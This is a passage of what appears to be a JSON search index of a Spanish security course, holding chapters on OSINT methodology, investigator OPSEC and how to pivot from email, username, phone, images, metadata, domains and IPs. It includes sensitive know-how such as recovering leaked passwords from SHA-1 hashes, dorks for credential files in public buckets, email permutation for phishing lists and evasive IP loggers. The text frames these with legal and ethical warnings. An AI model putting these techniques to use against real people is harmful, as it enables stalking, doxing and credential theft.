¿es correcto?»—. Ese paso atrapa las confusiones frecuentes (a menudo el cliente entrega el correo de la víctima en lugar del del sospechoso, desperdiciando horas) y obliga a extraer contexto, porque —la máxima que ordena todo el capítulo— la información no es inteligencia hasta que tiene contexto. Conocer la cultura, los intereses y el entorno del objetivo hace mucho más fácil localizar sus cuentas. El triage se cierra con una pregunta honesta: ¿es OSINT la herramienta correcta? A veces una llamada de dos minutos da lo mismo que dos horas de búsqueda.\nDespués viene el knolling —disponer los instrumentos como un cirujano antes de operar—: la VPN conectada, la máquina de investigación limpia cargada, las cuentas encubiertas ya iniciadas y las carpetas del caso estructuradas (la infraestructura de todo esto es la segunda mitad del capítulo). Solo entonces se colecta, empezando —si se dispone de ellos— por los datos premium (agregadores comerciales que dan atajos inmediatos de direcciones y asociados), con la advertencia de que todo lo que dan está gratis en otro lado con más esfuerzo, y siguiendo con la investigación open-source.\nEsa fase tiene su propia regla de oro: la disciplina de pestañas contra el rabbit-holing —saltar de indicio en indicio sin agotar la página actual, el mayor pozo del novato—. Se trata cada pestaña por completo antes de pasar a la siguiente: un indicio prometedor se abre en una pestaña nueva, uno fuerte que merece su propio juego de consultas se abre en una ventana nueva (una rama nueva del árbol), una página sin resultados se cierra. Al terminar un juego de pestañas se colapsan en una lista de URLs para las notas.\nLa captura debe preservar el contexto, no solo el dato: cada vez que se guarda una imagen o un video hay que guardar también una captura de la página fuente que la muestra en su lugar. Para trabajo que puede terminar en un tribunal, la colección pasiva con herramientas que registran cada página con su fecha, su hash y su URL provee una traza forense; pero de lo crucial conviene hacer además una captura manual, porque un script puede no ser explicable ante un jurado y un guardado manual sí. Esto es, en la práctica, cadena de custodia. El pivoteo por identificadores Bazzell resistía la idea de un flujo estándar —cada caso es único—, pero admite un patrón que estructura toda la Parte 2: la meta con cada dato es saltar al siguiente identificador. De un correo se buscan usernames y nombres reales; de un username, las redes donde aparece y el correo asociado; de un nombre real, correos, teléfonos y parientes; de un teléfono, se verifica el nombre y la dirección; de un dominio, el nombre real y la infraestructura conectada. El ciclo se repite con cada dato nuevo, y el árbol de identificadores es el mapa de los capítulos que siguen —es el equivalente OSINT de la enumeración cíclica de 3.1: no se puede pivotar desde lo que no se enumeró—.\nflowchart TD EM[\"Correo\"] --\u003e UN[\"Username\"] UN --\u003e RN[\"Nombre real\"] RN --\u003e TEL[\"Teléfono\"] RN --\u003e DOM[\"Dominio / infra\"] TEL --\u003e LOC[\"Ubicación / personas\"] EM \u0026 UN \u0026 RN \u0026 TEL -.-\u003e|\"identidad de persona\"| C22[\"cap. 2.2\"] DOM -.-\u003e|\"infraestructura técnica\"| C24[\"cap. 2.4\"] LOC -.-\u003e|\"contenido / geoint\"| C23[\"cap. 2.3\"] EM -.-\u003e|\"filtraciones / breaches\"| C26[\"cap. 2.6\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; class EM,UN,RN,TEL,DOM,LOC,C22,C23,C24,C26 n;Ese árbol reparte el trabajo de P2: la identidad de persona (correo, usernames, teléfono, people-search) se desarrolla en 2.2; el contenido (imágenes y su EXIF, geoint, documentos, video) en 2.3; la infraestructura técnica (dominios, IPs, ASN, cripto) en 2.4; el reconocimiento ofensivo que lleva ese mapa hacia el ataque en 2.5; y las filtraciones, brechas y stealer logs en 2.6. Todo el ciclo escala de veinte minutos a veinte días con el mismo método: solo se comprimen o expanden los tiempos.\nEl OPSEC del investigador: la máquina limpia El segundo pilar es la infraestructura, y su tesis abre con una advertencia contraintuitiva: el equipo cotidiano está contaminado. Cada sitio visitado deja archivos de sesión, y servicios como los grandes comercios o redes sociales mantienen cookies persistentes que siguen al usuario aunque cierre sesión. Si durante una investigación se carga, por ejemplo, la lista de deseos de un objetivo en una tienda, la cuenta del investigador queda ligada a esa consulta y su nombre puede aparecer en la captura. El riesgo se vuelve legal: en una audiencia, la parte contraria puede pedir —y el juez ordenar— un clon idéntico del equipo usado, y toda la actividad personal y de otros casos sale a la luz. La conclusión es una regla firme: una máquina dedicada exclusivamente a investigaciones, sin uso personal; y para revivir una ya usada no basta borrar archivos, hay que reformatear.\nLa arquitectura práctica es la máquina virtual por caso. Se construye una VM maestra —«OSINT Original», típicamente Ubuntu— con todo el arsenal instalado, se la mantiene actualizada y nunca se investiga desde ella. Para cada caso se hace un clon completo (full clone) titulado con el número de expediente; toda la evidencia queda dentro de ese clon, se exporta a un medio externo, y el clon se borra o se archiva al cerrar. El pago de ese esfuerzo ","section":"P2 · Reconocimiento y OSINT","summary":"El capítulo-marco que abre P2: OSINT es una disciplina antes que un conjunto de herramientas. Dos pilares convierten el dato público en inteligencia defendible —el método (el ciclo intake→triage→colección→reporte, donde «la información no es inteligencia hasta que tiene contexto» y cada dato sirve para saltar al siguiente identificador) y el OPSEC (la máquina limpia por caso, la identidad no atribuible, la cadena de custodia)—, y sobre ambos la ética que gobierna cuándo y cómo aplicarlos (proporcionalidad, intención, decepción articulable). Encuadre dual-use: el mismo tradecraft alimenta el recon ofensivo, la investigación blue/CTI y la reducción de la huella propia.","tags":["osint","metodologia-osint","opsec-investigador","recon","etica","deteccion"],"title":"2.1 · Metodología OSINT y OPSEC del investigador","url":"/speculum/p2-recon-osint/2-1-metodologia-osint/"},{"content":"Panorama Cuatro identificadores anclan a una persona en línea: su correo electrónico, su username, su nombre real y su teléfono. Ninguno se investiga aislado: cada uno pivota a los otros —de un correo se sacan usernames y nombres, de un username las redes donde reaparece, de un nombre reales direcciones y parientes, de un teléfono el titular—, y el oficio de la identidad OSINT no consiste en «buscar a una persona» sino en convertir cada identificador en el siguiente. Este capítulo desarrolla la rama de identidad de persona del árbol de pivoteo que la metodología (2.1) presentó: es el recorrido concreto de ese grafo, con la disciplina de captura y el OPSEC de aquel capítulo dados por sentados.\nDe los cuatro anclas, el correo es el preferido, y por una razón estructural: es único. Buscar «John Smith» devuelve miles de personas; john.smith.77089@yahoo.com identifica exactamente a una. Por eso el flujo de identidad casi siempre arranca en el correo, y por eso la técnica que Bazzell llama la más valiosa de su carrera —el cruce con datos de brechas— opera sobre él. El principio que ordena todo el capítulo es que un identificador confirmado vale por dos cosas a la vez: prueba que la cuenta es real y dice hacia dónde pivotar —en qué servicios está registrada la persona, qué otros perfiles tiene, dónde vive—.\nflowchart TD EM[\"Correo\\n(único = ancla)\"] UN[\"Username\\n(reuso cross-platform)\"] RN[\"Nombre real\"] TEL[\"Teléfono\"] DOS[\"Dossier\\n(dirección · parientes ·\\nperfiles · dominios)\"] BR[\"Datos de brecha\\n(¿real? ¿qué servicios?)\"] EM --\u003e|\"parte local + permutar\"| UN EM --\u003e|\"people-search / breach\"| RN UN --\u003e|\"perfil → nombre / correo\"| RN UN --\u003e|\"nuevos correos a permutar\"| EM RN --\u003e|\"people-search\"| TEL RN --\u003e|\"people-search\"| DOS TEL --\u003e|\"caller-ID → titular\"| RN EM -.-\u003e|\"HIBP + Dehashed + stealer logs\"| BR BR -.-\u003e|\"multiplica cada salto\"| DOS classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; class EM,UN,RN,TEL,DOS,BR n;El correo como ancla: buscar, verificar, permutar El primer movimiento con un correo es literal: buscarlo entre comillas en varios motores —Google, Bing, Yandex— tanto en el contenido indexado como en el código fuente de las páginas, y buscar por separado la parte local (el username del correo), porque quien usa mpulido007@gmail.com probablemente reusa mpulido007 como nombre de pantalla en otros sitios. Esa parte local es ya un puente hacia la enumeración de usernames de más abajo.\nEl segundo movimiento es verificar. La consulta única más rentable es Emailrep.io: en una sola respuesta entrega la reputación del correo, si el dominio es spoofable (el estado de sus registros SPF y DMARC), su antigüedad (first_seen / last_seen), si aparece en brechas (data_breach, credentials_leaked) y qué perfiles tiene asociados —YouTube, GitHub, Twitter—, un detalle que, en palabras de Bazzell, «no encontramos en ningún otro lado». Lo complementan verificadores más simples como Email Hippo (responde OK/BAD sobre si la casilla existe), el módulo de Cybernews y el Friends Check de Avast —en su variante que no notifica al dueño de la casilla—.\nEl tercer movimiento es asumir y permutar. Conocido un username, se prueba el mismo en otros proveedores —jay112003 en @gmail, @hotmail, @live— y se verifican todos con las herramientas anteriores. Para correos corporativos la permutación se vuelve sistemática: se adivina el patrón de la empresa (jstewart@, jay.stewart@, j.stewart@) o se lo deduce con Email-Format (infiere la estructura de una organización a partir de direcciones ya confirmadas) y Hunter (verifica direcciones y muestra dónde aparecieron, incluso en páginas ya borradas de la web). El resultado tiene peso operativo: convierte una lista de nombres de LinkedIn o Facebook en una lista de correos verificables —el insumo exacto de una campaña de phishing dirigido, motivo por el que este paso reaparece en el recon ofensivo (2.5)—. Un puente lateral menor pero útil: Gravatar liga un correo a su avatar (gravatar.com/site/check/\u003ccorreo\u003e), que alimenta una búsqueda inversa de imagen.\nDatos de brecha: la técnica más valiosa «Los datos de cuentas comprometidas son, en definitiva, la técnica más beneficiosa que he usado en mis investigaciones en los últimos cinco años.» — M. Bazzell\nEl cruce con datos de brechas —breach data: los volcados de credenciales de servicios que sufrieron una intrusión— sirve para dos cosas simultáneas. Confirma que un correo es válido, activo y de cierta antigüedad (un correo que aparece en una brecha de 2013 existe desde entonces), y dice qué servicios investigar: si todd007@gmail.com figura en las brechas de Dropbox y LinkedIn, hay que ir a buscar esos perfiles. La verificación y el pivoteo, otra vez, en la misma consulta.\nLas dos fuentes base son complementarias y se usan siempre juntas. Have I Been Pwned (HIBP) lista en qué brechas conocidas aparece un correo, con la descripción de cada una y sus DataClasses —qué campos se filtraron: contraseñas, direcciones, teléfonos—; su URL estática unifiedsearch/\u003ccorreo\u003e devuelve un JSON citable en un reporte. Dehashed es más agresivo e incluye brechas menores que HIBP no cataloga. Bazzell es explícito: «uno no debería consultarse nunca sin el otro».\nA partir de ahí hay una escalera de contraseñas, y aquí empieza la zona de cautela. LeakPeek y BreachDirectory muestran contraseñas parciales o el hash SHA-1 de la contraseña; ese hash suele revertirse en un servicio como md5decrypt sin necesidad de descargar la brecha completa, entregando la contraseña en claro. Spycloud devuelve conteos sin identidad. Hudson Rock marca la presencia del correo en stealer logs —los registros que dejan los infostealers—, lo que significa algo más grave que una brecha de servicio: la máquina del propio dueño fue comprometida por malware. IntelligenceX y LeakIX completan el arsenal (este último expone, por ejemplo, usuarios de WordPress vía una vieja CVE de la API REST). El detalle de las brechas, los stealer logs y los grandes corpus de credenciales es el tema del capítulo de filtraciones y brechas (2.6).\nVer contraseñas puede exceder el OSINT. Acceder a credenciales filtradas —aunque sean públicas— puede rebasar el alcance de una investigación de fuentes abiertas y, según la jurisdicción y las políticas del empleador, constituir un problema legal. La regla de proporcionalidad de 2.1 aplica aquí con fuerza: confirmar que un correo aparece en una brecha es una cosa; recuperar y usar la contraseña asociada, otra muy distinta. Documentar la presencia en la brecha suele ser suficiente para el objetivo del análisis. Pastebin, WHOIS, Proton y la imitación Alrededor del correo hay un conjunto de técnicas de pivoteo que no dependen de brechas. PSBDMP (psbdmp.ws) monitorea Pastebin y, lo valioso, recupera el texto de pastes ya borrados de Pastebin a través de su API (/api/search/\u003ccorreo\u003e devuelve el id, y pastebin.com/\u003cid\u003e el contenido); Bazzell recuperó así un doxing de un cliente que Pastebin ya había removido. OCCRP (data.occrp.org), el archivo del periodismo de investigación, devuelve documentos asociados a un correo y extrae otros correos de esos documentos —un salto de identificador gratis—.\nComo muchos actores usan Proton Mail por su cifrado, saber la fecha de creación de una casilla Proton importa: un burner reciente creado para un solo fin es sospechoso. La fecha se lee del timestamp de la clave PGP pública de la cuenta, que Proton publica (api.protonmail.ch/pks/lookup?op=index\u0026search=\u003ccorreo\u003e devuelve el Unix timestamp). La búsqueda WHOIS inversa por correo (Whoxy, Whoisology, AnalyzeID) lista los dominios registrados con esa dirección, incluidos históricos —un puente directo a la infraestructura (2.4), donde un correo de contacto delata una red de dominios relacionados—. ScamSearch marca la asociación del correo con estafas conocidas.\nLa imitación es una de las técnicas más productivas del capítulo. Intentar crear una cuenta con el correo del objetivo en Apple, Live, Facebook o un proveedor local de servicios devuel","section":"P2 · Reconocimiento y OSINT","summary":"El primer capítulo de contenido de P2 recorre la rama «identidad de persona» del árbol de pivoteo: cuatro identificadores —correo, username, nombre real y teléfono— anclan a una persona, y cada uno salta a los otros. El correo es el ancla preferida porque es único; se verifica, se permuta y, sobre todo, se cruza con datos de brechas —la técnica más valiosa del oficio, que confirma que una cuenta es real y dice en qué servicios investigar—. El username se enumera cross-platform, el nombre real se convierte en dossier con los people-search engines, y el teléfono se trabaja en tres fases hasta el titular. La misma cosecha que arma el perfil de un objetivo para un ataque mide, invertida, la exposición de credenciales de la propia organización.","tags":["osint","identidad-persona","breach-data","credential-access","recon","deteccion"],"title":"2.2 · OSINT de identidad: email, usernames, teléfono y personas","url":"/speculum/p2-recon-osint/2-2-osint-identidad/"},{"content":"Panorama Después de anclar a una persona por sus identificadores (2.2), la investigación pasa al contenido: las imágenes, los mapas, los documentos y los videos que el objetivo produce o que lo mencionan. La rama de contenido del árbol de pivoteo que trazó la metodología (2.1) tiene un patrón propio y durable, que conviene enunciar antes de recorrer cada tipo de medio: no se trata de mirar el artefacto, sino de extraer la propiedad estable que lleva incrustada y dispararla en paralelo contra muchas fuentes. Una foto no vale por lo que muestra sino por el GPS de su EXIF, el serial de la cámara y el thumbnail que esconde; una coordenada no se «clickea» en un mapa sino que se lanza contra veinte proveedores a la vez porque cada uno guardó una imagen de una fecha distinta; un documento importa menos por su texto que por la metadata que nombra a su autor y su computadora.\nDe ese patrón se desprende el rasgo que hace productiva toda la categoría: el contenido filtra más de lo que su autor quiso. El difuminado de una matrícula desaparece unos metros más adelante en la misma secuencia de calle; el recorte de una foto no sobrescribe el thumbnail incrustado, que conserva la versión original sin recortar; la metadata de un .docx guarda el nombre de la máquina en que se creó. El oficio del contenido es sistematizar la extracción de esas fugas y convertirlas en pivotes hacia nuevos identificadores.\nflowchart TD A[\"Artefacto\\n(foto · mapa · documento · video)\"] P[\"Propiedad estable incrustada\\n(GPS · serial · metadata · ID de video)\"] F1[\"Proveedor 1\\n(una fecha / porción)\"] F2[\"Proveedor 2\"] F3[\"Proveedor N\"] X[\"Cruce\\n(pivote a nuevo identificador)\"] A --\u003e|\"extraer la fuga\"| P P --\u003e|\"disparar en paralelo\"| F1 \u0026 F2 \u0026 F3 F1 \u0026 F2 \u0026 F3 --\u003e X X -.-\u003e|\"username / rostro / autor\"| ID[\"identidad (2.2)\"] X -.-\u003e|\"dominio / IP / bucket\"| INF[\"infraestructura (2.4)\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; class A,P,F1,F2,F3,X,ID,INF n;Geoint: la coordenada GPS como ancla El error del principiante en geolocalización es buscar una dirección por texto y mirar el mapa que sale. El flujo durable es otro: obtener la coordenada GPS exacta —en Google Maps, clic derecho sobre el punto y «¿Qué hay aquí?» da una lat/long más precisa que la búsqueda textual— y luego disparar esa lat/long contra todos los proveedores mediante URLs estáticas construidas con parámetros. La razón por la que ninguno reemplaza a otro es que cada servicio guarda imágenes de fechas y ángulos distintos: Google (mapa, terreno, satélite y street view controlado por heading, pitch y fov), Bing con su vista Bird’s Eye, Zoom Earth (que compone NASA, Bing y ArcGIS y se captura a pantalla completa sin marca de agua), Here, Yandex (superior fuera de Estados Unidos), Descartes Labs (que busca por imagen: «traer todo lo que se parezca a este estadio») y Snapchat (stories públicas por zona). La lección estructural es la misma del patrón general: construir la consulta a partir de un identificador estable —el GPS— y paralelizar las fuentes.\nSobre esa base se apilan cuatro capas. Las imágenes históricas —Historic Aerials, World Imagery Wayback— muestran capturas fechadas del mismo punto y revelan vehículos o estructuras que hoy no están. Los street views colaborativos —Mapillary, KartaView— son el hallazgo fuerte: embeben fotos a nivel calle subidas por particulares desde el celular, y a diferencia de Google o Bing —que difuminan toda cara y matrícula— parecen difuminar solo cuando la matrícula es legible; unos metros después el recuadro de difuminado desaparece y, con recorte más ajuste de brillo y contraste, la placa se lee. Además exponen el username de quien subió las fotos, su historial y su patrón de viaje diario —si esa persona fuera el objetivo, su rutina de desplazamiento es pública, un salto directo de vuelta a la identidad (2.2)—. La tercera capa son los límites de parcela (Acre Value): el nombre del dueño es de pago, pero suele salir de la respuesta JSON que la página misma pide —Inspector → Red → la entrada xhr de la parcela trae el campo owner—. Y la cuarta es la datación por sombras (Shade Map): mover el mes y la hora hasta que las sombras de una imagen aérea coincidan estima cuándo se tomó, técnica aplicable a cualquier foto de redes con ubicación y época conocidas.\nDocumentos: la categoría olvidada Los documentos son la clase más descuidada, y se dividen en tres: los que hablan del objetivo, los que él creó y llegaron a ser públicos sin querer, y la metadata que llevan dentro. Se localizan con los operadores ext: y filetype: (Google prefiere ext:, Bing exige filetype:; se combinan con OR y con site:), pero el filón está en el almacenamiento en la nube mal configurado. Consultas como site:amazonaws.com ext:xls \"password\" o site:storage.googleapis.com \"confidential\" recuperan documentos de buckets públicos, y Gray Hat Warfare —que indexó más de mil millones de archivos abiertos en AWS— devuelve, ante una búsqueda como «password xls», documentos con credenciales activas. Bazzell no exagera su valor: «he localizado documentos extremadamente sensibles desde esta fuente en numerosas ocasiones». Los buckets, los dominios y la infraestructura en la nube son el terreno de la infraestructura (2.4). Se suman Google Docs y Drive públicos, Scribd (que identifica quién subió el archivo → su perfil), los repositorios de presentaciones y las decenas de paste sites —Pastebin, doxbin, ghostbin— donde los grupos criminales publican datos robados, tema que retoma el capítulo de filtraciones (2.6).\nLa metadata embebida es el tercer eje y el más revelador: trae el nombre del autor y de quien modificó el archivo, la empresa, la versión del software, el nombre de la computadora o la red y hasta el tiempo total de edición. Se extrae en línea (Extract Metadata, Jeffrey’s Viewer) pero preferentemente en local —para no filtrar la investigación a un tercero—: exiftool sobre una carpeta genera una planilla con la metadata de todos los archivos. El caso arquetípico es el del asesino BTK (Dennis Rader): la policía de Wichita examinó un .doc en un disquete, la metadata nombraba al autor «Dennis» y ligaba a una iglesia luterana; el OSINT sobre esos dos datos condujo al arresto.\n$ # metadata de todos los archivos de una carpeta, en local (no filtra la investigación) exiftool * -csv \u003e Report.csv # extracción manual: un .pptx / .docx es un ZIP mv Presentacion.pptx Presentacion.zip \u0026\u0026 unzip Presentacion.zip # -\u003e docProps/app.xml : versión de Office + identificadores únicos (ligan documentos al mismo autor) # -\u003e word/media/ | ppt/media/ : imágenes internas, analizables por su propia EXIF ⧉ copiar Nunca subir a un servicio en línea un archivo sensible que no esté ya en internet. Un documento clasificado, una pieza de evidencia o un archivo bajo secreto de sumario, al cargarse en un visor de metadata o en un buscador inverso, queda entregado a un tercero —y puede comprometer su clasificación o su valor probatorio—. La extracción local con exiftool existe precisamente para esto. La misma regla vale para las imágenes del apartado siguiente: un reverse image search distribuye la foto al motor. Imágenes: reverse image search y EXIF Un reverse image search entrega una imagen al motor y devuelve dónde más aparece —otros perfiles del objetivo, alias que reusan la misma foto real— o rostros y objetos parecidos. Hay que consultar los cinco motores porque cada uno cubre un rincón distinto: Google Lens, Bing Visual Search, TinEye (duplicados exactos), Yandex —«su servicio es superior a todos los demás», encuentra lo que los otros no— y Baidu. Dos reglas: se apunta al URL directo de la imagen a máxima resolución (no a la página que la contiene), y recortar la imagen para dejar solo al objetivo mejora mucho los resultados, sobre todo en Yandex. Los motores especializados completan el cuadro: FaceCheck (reconocimiento facial contra miles de millones de fotos ya públicas, devuelve el mismo rostro en distintas fechas y ropa), CarNet (identifica año","section":"P2 · Reconocimiento y OSINT","summary":"La segunda rama del árbol de pivoteo: el contenido que un objetivo produce o que lo referencia. El patrón durable no es «mirar» una foto, un mapa o un documento, sino extraer la propiedad estable que lleva incrustada —una coordenada GPS, un campo de metadata, un número de serie de cámara, el identificador de un video— y dispararla en paralelo contra decenas de proveedores, porque cada uno guarda una porción y una fecha distintas. Y el rasgo que hace valioso el capítulo: el contenido casi siempre filtra más de lo que su autor quiso —la matrícula que el difuminado suelta unos metros después, el thumbnail que conserva la foto sin recortar, la metadata que nombra la computadora del autor—.","tags":["osint","geoint","contenido-multimedia","metadata","recon","deteccion"],"title":"2.3 · OSINT de contenido: imágenes, EXIF, geoint, documentos y video","url":"/speculum/p2-recon-osint/2-3-osint-contenido/"},{"content":"Panorama Las dos ramas anteriores anclaron en una persona (2.2) y en una propiedad embebida en un archivo (2.3). La rama de infraestructura ancla en un identificador técnico estable —un dominio, una dirección IP, un certificado SSL, un identificador de analytics, una dirección de criptomoneda— y comparte el patrón general de la metodología (2.1): cada identificador pivota a los demás. Pero tiene un movimiento propio que define todo el capítulo: la correlación que no depende de WHOIS. El objetivo aplica privacidad —registración anónima del dominio, un proxy como Cloudflare que oculta la IP real— pero la infraestructura se delata a sí misma a través de lo que sus piezas comparten, y a través de su pasado.\nDe ahí las dos ideas que atraviesan el capítulo. La primera: el pasado casi siempre filtra. La privacidad se aplicó en algún momento, así que el WHOIS histórico y el certificado SSL histórico exponen lo que el estado actual esconde. La segunda: los sitios de un mismo dueño comparten identificadores —un mismo código de Google Analytics, un mismo certificado, un mismo servidor—, y buscar hacia atrás por ese identificador compartido agrupa toda la red sin tocar un solo registro WHOIS. El grafo resultante es denso: dominio, IP, ID de tracking, nombres del certificado, email y brecha se re-alimentan entre sí.\nflowchart TD DOM[\"Dominio\"] IP[\"IP\"] SSL[\"Certificado SSL\\n(SAN)\"] AN[\"ID de analytics\\n(UA- / ca-pub-)\"] SUB[\"Subdominios\\n(dev · vpn · webmail)\"] EM[\"Email de registrante\\n(WHOIS histórico)\"] DOM \u003c--\u003e|\"reverse-IP / co-alojados\"| IP DOM \u003c--\u003e|\"crt.sh · rompe Cloudflare\"| SSL DOM \u003c--\u003e|\"Spy On Web / Analyze ID\"| AN DOM --\u003e SUB DOM \u003c--\u003e|\"Whoxy / Whoisology\"| EM SSL -.-\u003e|\"otros dominios del cert\"| DOM AN -.-\u003e|\"otros sitios del dueño\"| DOM EM -.-\u003e|\"cruce por cualquier campo\"| DOM EM -.-\u003e|\"pivote a identidad\"| ID[\"identidad (2.2)\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; class DOM,IP,SSL,AN,SUB,EM,ID n;El dominio como grafo: derrotar la privacidad WHOIS La primera parada de un dominio es ViewDNS, que reúne en un solo sitio —todo consultable por URL estática, para paralelizarlo desde una herramienta propia— el WHOIS, el reverse-IP (otros dominios en el mismo servidor), el reverse-WHOIS (otros dominios del mismo registrante), el escaneo de puertos, el historial de IP y el reporte de DNS. El obstáculo previsible es la registración privada (WhoisGuard y similares), que reemplaza los datos del dueño por los de un servicio de proxy. Se derrota de tres maneras. La primera es el historial de WHOIS: Whoxy y Whoisology guardan capturas de cuando el dominio no era privado y exponen el nombre, el email y el teléfono reales; Whoisology, además, cruza por cualquier campo —el mismo teléfono devuelve todos los dominios que lo usaron, el mismo email otros tantos—, revelando conexiones que ningún registro actual muestra. La segunda es el Wayback Machine de la propia página de registro (web.archive.org sobre una URL de who.is reproduce el WHOIS de años atrás, sin membresía). La tercera es el certificado SSL histórico, que se ve más abajo. La lección durable es la misma de 2.3 sobre el contenido: lo que hoy está privado casi siempre fue público, y el pasado sobrevive.\nCorrelación sin WHOIS: analytics, SSL y código El pivoteo más potente no toca WHOIS. Los sitios de un mismo dueño suelen compartir el mismo identificador de seguimiento: un código de Google Analytics (UA-…), de AdSense (ca-pub-…), de afiliado de Amazon o de Clickbank. Spy On Web y Analyze ID hacen la búsqueda inversa de ese identificador y devuelven todos los dominios que lo usan —el caso que Bazzell cita: un sitio «anónimo» con la foto de un delito compartía el código de Analytics con el blog personal del sospechoso, y el arresto llegó el mismo día—. El certificado SSL es el otro gran pivote: crt.sh y Censys muestran los Subject Alternative Names (todos los dominios y subdominios que cubre un mismo certificado), lo que descubre propiedades relacionadas y, sobre todo, rompe Cloudflare: el histórico de certificados de Censys revela el host real que había detrás del proxy antes de que se activara. Ese mismo desenmascaramiento es el que un analista blue usa para destapar un servidor de C2 (3.10) escondido tras un CDN. Completan el cuadro Nerdy Data (indexa el código fuente: buscar un identificador o una función JavaScript devuelve los sitios que la copiaron) y Built With (el stack tecnológico: sistema operativo, framework, plugins y servicios embebidos, cada uno una pista de otras cuentas del dueño).\nSobre esa base se cosecha la superficie oculta. Un sitio aparentemente plano esconde subdominios: Pentest-Tools intenta una transferencia de zona y luego fuerza nombres comunes (webmail, ftp, mail, vpn), y Columbus es el más rápido por línea de comandos. El robots.txt del dominio lista en sus directivas Disallow los directorios que el dueño no quiere indexados —beta, development, partners—: un mapa directo de lo que considera sensible. El threat data aporta un OSINT lateral valioso: VirusTotal muestra los nombres del certificado, los archivos descargados del sitio o que lo referencian y los comentarios de la comunidad; ThreatCrowd grafica los dominios asociados; y Censys conserva el cuerpo HTTP, recuperable si el sitio cae. Un último detalle son los acortadores de URL, cuya metadata se abre con un sufijo (+, ~, - según el servicio) y expone clicks, sistema operativo y país —y, en el caso de bit.do, las IPs reales de cada visita—, lo que tiene un uso ofensivo directo que reaparece más abajo.\nDe la IP al dispositivo y a la persona Una IP se resuelve con ViewDNS o UltraTools (reverse-IP, geolocalización, escaneo de puertos, traceroute, reverse-DNS) y con Bing (ip:\u003cdirección\u003e lista los sitios co-alojados). Los servicios invasivos suben la apuesta: That’s Them cruza datos de marketing (una IP comercial estática puede devolver nombre, dirección y email), I Know What You Download revela los torrents descargados por una IP con fecha y hora, y Exonerator dice si una IP fue nodo de salida de Tor. Wigle es la base colaborativa de puntos de acceso Wi-Fi: por SSID, MAC o nombre ubica el router en un mapa con coordenadas GPS —y como mucha gente nombra su red con su propio username, buscar ese alias como SSID puede llevar directamente a su casa, «toda esta inteligencia a partir de un simple username»—. Shodan, por su parte, indexa los banners de los dispositivos conectados —routers, cámaras, NAS, teléfonos VOIP— con filtros por país, ciudad, coordenadas, rango de red (net:) y sistema operativo, capaces de localizar cámaras web por zona.\nLa línea legal en Shodan es nítida. Encontrar un dispositivo y leer su banner es OSINT; conectarse a uno que pide credenciales y probar admin/admin es intrusión informática, aunque la contraseña sea la de fábrica. Los dispositivos que no piden credenciales y muestran su interfaz abiertamente son otra cosa, pero la prueba de credenciales cruza la frontera del delito. El mismo cuidado aplica a la captura de la IP de un objetivo: los IP loggers (IP Logger, Canary Tokens) y el auto-alojado LinkBait —que evade el bloqueo que Gmail impone a los dominios de rastreo conocidos— generan un enlace, una imagen o un documento que registra IP, sistema operativo y navegador al abrirse; su uso debe encuadrarse en la ética y las reglas de enganche de 2.1, y una VPN o Tor del objetivo los neutralizan. Registros públicos y criptomonedas La infraestructura no es solo digital. Los registros gubernamentales y de negocios son el puente al mundo físico: registros de condado (propiedad, impuestos, padrón electoral, salarios públicos vía Open Payrolls), registros judiciales (PACER federal, con RECAP liberando copias gratis al Internet Archive; UniCourt accesible por site:unicourt.com \"\u003cobjetivo\u003e\" para saltar el muro de pago), Open Corporates (que scrapea los registros mercantiles de decenas de países → directivos y direcciones), padrones vehiculares por VIN o matrícula, y BinDB (los seis primeros dígitos de una ","section":"P2 · Reconocimiento y OSINT","summary":"La tercera rama del árbol de pivoteo: la infraestructura que un objetivo opera. El anclaje ya no es un identificador de persona ni una propiedad embebida en un archivo, sino un identificador técnico estable —un dominio, una IP, un certificado SSL, un ID de analytics, una dirección de criptomoneda— y el movimiento definitorio es la correlación que no depende de WHOIS: la privacidad que el objetivo aplica (WhoisGuard, Cloudflare) se filtra por los identificadores que su infraestructura comparte consigo misma y por el pasado, que casi siempre queda registrado. Todo pivota contra todo: dominio↔IP↔ID de analytics↔SAN del certificado↔email↔brecha, y las APIs de enriquecimiento y los frameworks convierten ese pivoteo en un dossier automatizado y persistente.","tags":["osint","infraestructura-tecnica","dns","attack-surface","recon","deteccion"],"title":"2.4 · OSINT de infraestructura: dominios, IPs, registros, cripto y APIs","url":"/speculum/p2-recon-osint/2-4-osint-infraestructura/"},{"content":"Panorama Las tres ramas anteriores de P2 coleccionaban inteligencia con un fin investigativo: anclar a una persona (2.2), leer el contenido que produce (2.3), mapear la infraestructura que opera (2.4). El recon ofensivo reorienta exactamente el mismo instrumental hacia un fin distinto: la superficie de ataque de una organización. Es el capítulo bisagra de la Parte 2 —donde el mapa OSINT deja de ser un dossier y se convierte en una lista de objetivos—, y su salida alimenta directamente la metodología de pentest (3.1) y, tras el primer punto de apoyo, el reconocimiento interno de Active Directory (4.1). La enumeración exhaustiva y cíclica que 3.1 consagra como principio empieza aquí, del lado de afuera.\nDos ejes ordenan la disciplina. El primero es pasivo frente a activo: el reconocimiento pasivo no toca al objetivo —consulta bases que ya escanearon internet, lee certificados, mira repositorios— y por eso es invisible; el activo interroga directamente los sistemas del objetivo —escanea puertos, fuerza subdominios, enumera buckets— y deja huella en sus registros. El segundo eje es puntual frente a continuo: la ventaja real del atacante no es una herramienta sino el tiempo. Una superficie segura hoy puede exponer mañana un Redis sin contraseña o un Jenkins abierto; quien la vigila —y no solo la escanea una vez— captura esa ventana antes que el defensor la cierre.\nflowchart LR subgraph P2[\"Mapa OSINT (2.2–2.4)\"] ID[\"personas · dominios ·\\nIPs · certificados\"] end subgraph RO[\"Recon ofensivo (2.5)\"] PAS[\"Pasivo\\n(Shodan · Censys · certs ·\\nGitHub — invisible)\"] ACT[\"Activo\\n(subdominios · S3 ·\\nport scan — deja huella)\"] end AS[\"Superficie de ataque\\n(subdominios · servicios\\nexpuestos · secretos · buckets)\"] ID --\u003e PAS \u0026 ACT PAS --\u003e AS ACT --\u003e AS AS -.-\u003e|\"lista de objetivos\"| C31[\"explotación (3.1)\"] AS -.-\u003e|\"tras el foothold\"| C41[\"recon interno AD (4.1)\"] classDef n fill:#1e293b,stroke:#475569,color:#e2e8f0; class ID,PAS,ACT,AS,C31,C41 n;Pasivo antes que activo, continuo antes que puntual La distinción entre reconocimiento pasivo y activo no es académica: gobierna el orden de trabajo y el riesgo de detección. Todo lo que se agotó en la infraestructura (2.4) —Shodan, 